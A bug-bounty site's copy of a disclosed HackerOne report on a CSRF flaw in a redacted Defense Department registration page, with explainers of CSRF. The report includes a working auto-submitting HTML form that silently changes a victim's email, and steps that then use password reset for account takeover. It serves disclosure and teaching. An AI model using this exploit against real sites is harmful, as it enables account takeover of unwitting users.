Skip to content
CSRF Disclosed report Beginner

Account Takeover and Information update due to cross site request forgery via POST █████████/registration/my-account.cfm

The account update form accepted POST requests without any anti-CSRF token, so a page on another site could silently submit it on behalf of a logged-in user. Because the form also let the attacker change the account email, the attacker could then use the password reset flow to receive a new password and take over the account.

snifyak Follow

Originally disclosed on HackerOne

Medium 5.4 View original
  • Triaged in 42 days
  • Fixed in 3 months
  • Disclosed after 3 months

Summary:

Hello Team,

While researching on https://████/ , I found a cross site request forgery attack which leads to account's information update and that further leads to account takeover via password reset functionality.

Steps To Reproduce:

Check This video for understanding the attack scenario. ████████

Scenarios & Steps:

Suppose there is a user which is logged in to their account. Now attacker sent him a malicious link which will lead to account information update.

Steps for above scenario are:

  1. Victim must be logged in to ███/registration/index.cfm .

  2. Attacker sent him a malicious link. For this attacker need to step a server which contain below code:

    <html>
    
<body> <script>history.pushState('', '', '/')</script> <form action="█████/registration/my-account.cfm" method="POST"> <input type="hidden" name="cmdSubmit" value="Update&#32;My&#32;Account" /> <input type="hidden" name="txtFirstname" value="fname" /> <input type="hidden" name="txtMI" value="hi" /> <input type="hidden" name="txtLastname" value="lnames" /> <input type="hidden" name="txtAddress" value="hello" /> <input type="hidden" name="optAddress" value="temporary" /> <input type="hidden" name="txtPhone" value="89" />
    <!-- here we enter  a temporary email address via online tools like tempmail  -->
  <input type="hidden" name="txtEmail1" value="voyan61996&#64;jrvps&#46;com" />
  <input type="hidden" name="txtEmail2" value="voyan61996&#64;jrvps&#46;com" />
  <input type="hidden" name="txtPassword1" value="" />
  <input type="hidden" name="txtPassword2" value="" />
  <input type="submit" value="Submit request" />
</form>
<script>
  document.forms[0].submit();
</script>
</body> </html> ```

Step 3: Now victim will click on the link sent by the attacker. After clicking the link; information is updated on the victims account and the email is also updated which will further lead to account takeover.

Now Attacker side:

Step 1: Visit ████/

Step 2: In Forgot your password Form : Enter the victim username. And click on generate a new password.

Step 3: Check the email which is entered in the csrf exploit. Here you find the password of that user.

Step 4: Visit ███/ Enter the username and password. And now you are successfully takeover the victim account.

Problems

  1. There is no Anti-CSRF Token.
  2. Sending password to an unverified account which leads to account takeover.

Supporting Material/References:

  • █████

Impact

Attacker is able to takeover any account and change the information of any account via csrf.

The original report as published on HackerOne, by snifyak. Images and videos are our own copies; raw HTML is shown as text. View it on HackerOne.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Impact

An attacker could change any logged-in user's account details and, by changing the email, take over the account; the report does not mention any defence that would block this.

What the attacker needed

Victim is logged in; victim clicks an attacker link

How it was found

  1. The victim is logged in to the site.
  2. The attacker hosts a page that auto-submits a hidden form to the account update endpoint with a new email address.
  3. The victim visits the attacker's link and the form is submitted in the background.
  4. The attacker requests a password reset for the victim's username.
  5. The attacker reads the new password from the email address they set.
  6. The attacker logs in with the new password and controls the account.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

When you are logged in to a site, your browser automatically sends your session cookie with every request to that site. If the site does not check that a request really came from its own pages, another website can make your browser send a request for you. Here the account details form had no such check, so a page the attacker controls could quietly change your email address, and then the attacker used the 'forgot password' feature to get a new password sent to that address.

What is CSRF?

Another site makes a signed-in user's browser perform an action they did not intend.

More from U.S. Dept Of Defense

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Cross-site request forgery (CSRF)

The lesson behind this report.

Another site makes a signed-in user's browser perform an action they did not intend.